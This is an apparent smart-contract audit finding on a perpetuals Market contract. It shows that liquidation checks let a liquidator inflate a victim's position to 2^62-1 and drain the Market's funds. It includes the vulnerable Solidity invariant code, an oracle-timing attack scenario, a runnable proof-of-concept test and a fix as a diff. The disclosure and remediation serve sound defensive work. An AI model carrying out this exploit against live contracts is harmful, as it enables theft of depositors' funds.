Liquidator can liquidate user while increasing user position to any value, stealing all Market funds or bricking the contract
When a user is liquidated, there is a check to ensure that after liquidator order executes, `closable = 0`, but this actually doesn't prevent liquidator from increasing user position, and since all position size and collateral checks are skipped during liquidation, this allows malicious liquidator to open position of max possible size (2^62-1) during liquidation. Opening such huge position means the Market contract accounting is basically broken from this point without any ability to restore it. For example, the fee paid (and accumulated by makers) from opening such position will be higher than entire Market collateral balance, so any maker can withdraw full Market balance immediately after this position is settled.\\n`closable` is the value calculated as the maximum possible position size that can be closed even if some pending position updates are invalidated due to invalid oracle version. For example:\\nLatest position = 10\\nPending position [t=200] = 0\\nPending position [t=300] = 1000\\nIn such scenario `closable = 0` (regardless of position size at t=300).\\nWhen position is liquidated (called `protected` in the code), the following requirements are enforced in _invariant():\\n```\\nif (protected && (\\n    !context.closable.isZero() || // @audit even if closable is 0, position can still increase\\n    context.latestPosition.local.maintained(\\n        context.latestVersion,\\n        context.riskParameter,\\n        context.pendingCollateral.sub(collateral)\\n    ) ||\\n    collateral.lt(Fixed6Lib.from(-1, _liquidationFee(context, newOrder)))\\n)) revert MarketInvalidProtectionError();\\n\\nif (\\n    !(context.currentPosition.local.magnitude().isZero() && context.latestPosition.local.magnitude().isZero()) &&   // sender has no position\\n    !(newOrder.isEmpty() && collateral.gte(Fixed6Lib.ZERO)) &&                                                      // sender is depositing zero or more into account, without position change\\n    (context.currentTimestamp - context.latestVersion.timestamp >= context.riskParameter.staleAfter)                // price is not stale\\n) revert MarketStalePriceError();\\n\\nif (context.marketParameter.closed && newOrder.increasesPosition())\\n    revert MarketClosedError();\\n\\nif (context.currentPosition.global.maker.gt(context.riskParameter.makerLimit))\\n    revert MarketMakerOverLimitError();\\n\\nif (!newOrder.singleSided(context.currentPosition.local) || !newOrder.singleSided(context.latestPosition.local))\\n    revert MarketNotSingleSidedError();\\n\\nif (protected) return; // The following invariants do not apply to protected position updates (liquidations)\\n```\\n\\nThe requirements for liquidated positions are:\\nclosable = 0, user position collateral is below maintenance, liquidator withdraws no more than liquidation fee\\nmarket oracle price is not stale\\nfor closed market - order doesn't increase position\\nmaker position doesn't exceed maker limit\\norder and position are single-sided\\nAll the other invariants are skipped for liquidation, including checks for long or short position size and collateral.\\nAs shown in the example above, it's possible for the user to have `closable = 0` while having the new (current) position size of any amount, which makes it possible to succesfully liquidate user while increasing the position size (long or short) to any amount (up to max `2^62-1` enforced when storing position size values).\\nScenario for opening any position size (oracle granularity = 100): T=1: ETH price = $100. User opens position `long = 10` with collateral = min margin ($350) T=120: Oracle version T=100 is commited, price = $100, user position is settled (becomes latest) ... T=150: ETH price starts moving against the user, so the user tries to close the position calling `update(0,0,0,0,false)` T=205: Current price is $92 and user becomes liquidatable (before the T=200 price is commited, so his close request is still pending). Liquidator commits unrequested oracle version T=190, price = $92, user is liquidated while increasing his position: `update(0,2^62-1,0,0,true)` Liquidation succeeds, because user has latest `long = 10`, pending long = 0 (t=200), liquidation pending long = 2^62-1 (t=300). `closable = 0`.\\nThe scenario above is demonstrated in the test, add this to test/unit/market/Market.test.ts:\\n```\\nit('liquidate with huge open position', async () => {\\nconst positionMaker = parse6decimal('20.000')\\nconst positionLong = parse6decimal('10.000')\\nconst collateral = parse6decimal('1000')\\nconst collateral2 = parse6decimal('350')\\nconst maxPosition = parse6decimal('4611686018427') // 2^62-1\\n\\nconst oracleVersion = {\\n    price: parse6decimal('100'),\\n    timestamp: TIMESTAMP,\\n    valid: true,\\n}\\noracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion)\\noracle.status.returns([oracleVersion, TIMESTAMP + 100])\\noracle.request.returns()\\n\\n// maker\\ndsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true)\\nawait market.connect(userB).update(userB.address, positionMaker, 0, 0, collateral, false)\\n\\n// user opens long=10\\ndsu.transferFrom.whenCalledWith(user.address, market.address, collateral2.mul(1e12)).returns(true)\\nawait market.connect(user).update(user.address, 0, positionLong, 0, collateral2, false)\\n\\nconst oracleVersion2 = {\\n    price: parse6decimal('100'),\\n    timestamp: TIMESTAMP + 100,\\n    valid: true,\\n}\\noracle.at.whenCalledWith(oracleVersion2.timestamp).returns(oracleVersion2)\\noracle.status.returns([oracleVersion2, TIMESTAMP + 200])\\noracle.request.returns()\\n\\n// price moves against user, so he's at the edge of liquidation and tries to close\\n// position: latest=10, pending [t=200] = 0 (closable = 0)\\nawait market.connect(user).update(user.address, 0, 0, 0, 0, false)\\n\\nconst oracleVersion3 = {\\n    price: parse6decimal('92'),\\n    timestamp: TIMESTAMP + 190,\\n    valid: true,\\n}\\noracle.at.whenCalledWith(oracleVersion3.timestamp).returns(oracleVersion3)\\noracle.status.returns([oracleVersion3, TIMESTAMP + 300])\\noracle.request.returns()\\n\\nvar loc = await market.locals(user.address);\\nvar posLatest = await market.positions(user.address);\\nvar posCurrent = await market.pendingPositions(user.address, loc.currentId);\\nconsole.log("Before liquidation. Latest= " + posLatest.long + " current = " + posCurrent.long);\\n\\n// t = 205: price drops to 92, user becomes liquidatable before the pending position oracle version is commited\\n// liquidator commits unrequested price = 92 at oracle version=190, but current timestamp is already t=300\\n// liquidate. User pending positions:\\n//   latest = 10\\n//   pending [t=200] = 0\\n//   current(liquidated) [t=300] = max possible position (2^62-1)\\nawait market.connect(user).update(user.address, 0, maxPosition, 0, 0, true)\\n\\nvar loc = await market.locals(user.address);\\nvar posLatest = await market.positions(user.address);\\nvar posCurrent = await market.pendingPositions(user.address, loc.currentId);\\nconsole.log("After liquidation. Latest= " + posLatest.long + " current = " + posCurrent.long);\\n\\n})\\n```\\n
When liquidating, order must decrease position:\\n```\\nif (protected && (\\n    !context.closable.isZero() || // @audit even if closable is 0, position can still increase\\n    context.latestPosition.local.maintained(\\n        context.latestVersion,\\n        context.riskParameter,\\n        context.pendingCollateral.sub(collateral)\\n    ) ||\\n-    collateral.lt(Fixed6Lib.from(-1, _liquidationFee(context, newOrder)))\\n+    collateral.lt(Fixed6Lib.from(-1, _liquidationFee(context, newOrder))) ||\\n+    newOrder.maker.add(newOrder.long).add(newOrder.short).gte(Fixed6Lib.ZERO)\\n)) revert MarketInvalidProtectionError();\\n```\\n
Malicious liquidator can liquidate users while increasing their position to any value including max possible 2^62-1 ignoring any collateral and position size checks. This is possible on its own, but liquidator can also craft such situation with very high probability. As a result of this action, all users will lose all their funds deposited into Market. For example, fee paid (and accured by makers) from max possible position will exceed total Market collateral balance so that the first maker will be able to withdraw all Market balance, minimal price change will create huge profit for the user, exceeding Market balance (if fee = 0) etc.
```\\nif (protected && (\\n    !context.closable.isZero() || // @audit even if closable is 0, position can still increase\\n    context.latestPosition.local.maintained(\\n        context.latestVersion,\\n        context.riskParameter,\\n        context.pendingCollateral.sub(collateral)\\n    ) ||\\n    collateral.lt(Fixed6Lib.from(-1, _liquidationFee(context, newOrder)))\\n)) revert MarketInvalidProtectionError();\\n\\nif (\\n    !(context.currentPosition.local.magnitude().isZero() && context.latestPosition.local.magnitude().isZero()) &&   // sender has no position\\n    !(newOrder.isEmpty() && collateral.gte(Fixed6Lib.ZERO)) &&                                                      // sender is depositing zero or more into account, without position change\\n    (context.currentTimestamp - context.latestVersion.timestamp >= context.riskParameter.staleAfter)                // price is not stale\\n) revert MarketStalePriceError();\\n\\nif (context.marketParameter.closed && newOrder.increasesPosition())\\n    revert MarketClosedError();\\n\\nif (context.currentPosition.global.maker.gt(context.riskParameter.makerLimit))\\n    revert MarketMakerOverLimitError();\\n\\nif (!newOrder.singleSided(context.currentPosition.local) || !newOrder.singleSided(context.latestPosition.local))\\n    revert MarketNotSingleSidedError();\\n\\nif (protected) return; // The following invariants do not apply to protected position updates (liquidations)\\n```\\n